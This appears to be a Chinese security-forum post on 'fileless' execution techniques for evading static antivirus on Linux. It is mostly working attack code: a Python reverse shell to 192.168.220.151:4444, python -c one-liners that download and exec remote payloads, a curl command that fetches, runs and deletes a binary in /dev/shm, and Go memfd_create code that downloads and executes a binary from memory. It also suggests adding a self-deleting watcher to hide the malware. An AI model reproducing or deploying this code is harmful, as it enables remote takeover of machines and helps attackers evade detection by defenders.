python 等脚本语言
通过将powercat 无文件落地思路进行扩展，可以考虑到通过加载器以及payload等恶意代码执行文件，也可以使用无文件落地的方式对静态杀毒进行规避。
由于大多数Linux系统中都默认安装了 python ，且python作为一种脚本型语言，可以直接使用命令行代码执行操作，与powershell 有极大的相似之处，因此，使用python进行无文件落地思路是相同的。
示例
首先准备一个恶意的python脚本放置在远端的服务器，用于文件下载
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.220.151', 4444))
while True:
command = s.recv(1024).decode('utf-8')
if command.lower() == 'exit':
break
output = subprocess.run(command, shell=True, capture_output=True)
s.send(output.stdout + output.stderr)
s.close()
然后，使用python进行文件下载并执行，达到无文件落地的效果
import urllib.request
import subprocess
# 下载恶意 Python 脚本
url = 'http://192.168.220.151/payload.py'
response = urllib.request.urlopen(url)
code = response.read().decode('utf-8')
# 执行下载的脚本
exec(code)
但是，上述代码是脚本形式，要做到无文件落地执行，就需要完全在命令行执行代码。
python中可以使用 python自带的控制端，按照上述代码逐句执行。
import urllib.request
response = urllib.request.urlopen('http://192.168.220.151/payload.py')
code = response.read().decode('utf-8')
exec(code)
也可以直接使用 python -c 来执行单行代码
import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))
或
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"
演示
对payload所在目录开启web服务，用于下载恶意文件
攻击端开启监听
被控端操作，下载并执行恶意代码，实现无文件落地
攻击端成功接收
来到被控端，并未发现payload，成功实现无文件落地
golang 等静态编译型语言
由于golang、C、C++ 等静态编译语言的特性，无论如何规避，都需要有文件在系统种进行执行才可以，但并不是说无法做到完全无文件落地。
内存文件系统
- 完全在内存中执行：
/dev/shm 使用的是内存文件系统（tmpfs），文件存储在内存中，确保不会写入磁盘。
- 快速执行：内存中的文件访问速度比磁盘文件快得多，因此可以提高执行效率。
- 通过将文件写入
/dev/shm 并从该目录下执行，文件完全存储在内存中，确保不会有文件写入磁盘，因此可以达到 完全无文件落地 的效果。
- 如果你希望确保完全避免文件留下，可以将执行完成后清理
/dev/shm 目录下的文件，这样可以进一步增强安全性。
因此，对于编译型语言的二进制可执行文件的无文件落地，可以使用 /dev/shm 目录，例如：
curl -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum
这样会将文件下载到 /dev/shm/ 目录下，直接存储在内存中执行，并且在执行完毕后删除文件。
<mark style="background: #ABF7F7A6;">但这样也会产生一个问题</mark>，如果操作不当或者因不知名原因等导致恶意程序执行突然中断，那么就无法执行文件删除操作，因此，建议在恶意文件中加入 <mark style="background: #D2B3FFA6;">保险程序</mark> 。
也就是说，一旦程序终止，自动执行自删除操作，<mark style="background: #D2B3FFA6;">这里提供一种思路</mark>。
如果将自删除程序写入恶意文件，那么如果恶意程序被主动结束，就无法正常执行后续操作，因此，可以在恶意程序执行时，首先写入一个文件到内存系统中，文件中可以有一些无意义操作用来避免安全检测，然后通过该文件实时监控恶意程序的执行状态。
memfd_create 使用
memfd_create 是 Linux 内核提供的系统调用，可以创建匿名文件，仅存在于内存中。这需要编写一些 C 代码或者使用支持该功能的高级语言。
以下是一个示例：
package main
import (
"fmt"
"io"
"net/http"
"os"
"golang.org/x/sys/unix"
"syscall"
)
func main() {
// 创建匿名内存文件
fd, err := unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)
if err != nil {
panic(err)
}
// 将文件描述符包装为 os.File
memFile := os.NewFile(uintptr(fd), "helloNum")
defer memFile.Close()
// 下载二进制文件到内存文件
resp, err := http.Get("http://192.168.220.151/helloNum")
if err != nil {
panic(err)
}
defer resp.Body.Close()
_, err = io.Copy(memFile, resp.Body)
if err != nil {
panic(err)
}
// 将文件描述符重置到开始位置
_, err = memFile.Seek(0, 0)
if err != nil {
panic(err)
}
// 使用 syscall.Exec 执行内存中的二进制文件
err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())
if err != nil {
panic(err)
}
}
unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)：创建一个匿名的内存文件（也称为内存后备文件），这个文件存在于内存中，不会占用磁盘空间。MFD_CLOEXEC 标志意味着在执行 exec 系列函数时，这个文件描述符会自动关闭。os.NewFile(uintptr(fd), "helloNum")：将创建的内存文件描述符 fd 转换为 os.File 对象，这样可以使用标准库中的文件操作方法。http.Get("http://192.168.220.151/helloNum")：从指定的 URL 下载文件。io.Copy(memFile, resp.Body)：将 HTTP 响应体中的数据复制到内存文件中。memFile.Seek(0, 0)：将内存文件的读写指针移动到文件的开始位置。syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())：这是代码中的关键部分。syscall.Exec 函数用于替换当前进程的映像为新的程序。这里它尝试使用内存文件的文件描述符来执行内存中的二进制文件。
/proc/self/fd/：这是一个特殊的目录，它包含了当前进程打开的所有文件描述符的符号链接。每个符号链接指向一个实际打开的文件或设备。fmt.Sprint(memFile.Fd())：将内存文件的文件描述符转换为字符串。[]string{}：这是传递给 Exec 的参数列表，这里为空，意味着没有传递任何命令行参数。os.Environ()：这是传递给 Exec 的环境变量列表，它包含了当前进程的环境变量。
示例
编写一个演示程序，每隔3秒打印一个数字，并编译为二进制可执行文件，作为演示的远端恶意可执行文件
开启web服务
将上述代码编译为二进制可执行文件 memfd ，并执行
在执行过程中查看文件执行位置，并不存在远端文件落地，该文件是被直接加载到内存中，替换了 memfd进程的映像为我们的远端恶意程序。
发表于 2024-12-26 15:25
|
发表于 2024-12-26 21:45
发表于 2024-12-26 22:01
，兄弟欢迎回帖讨论
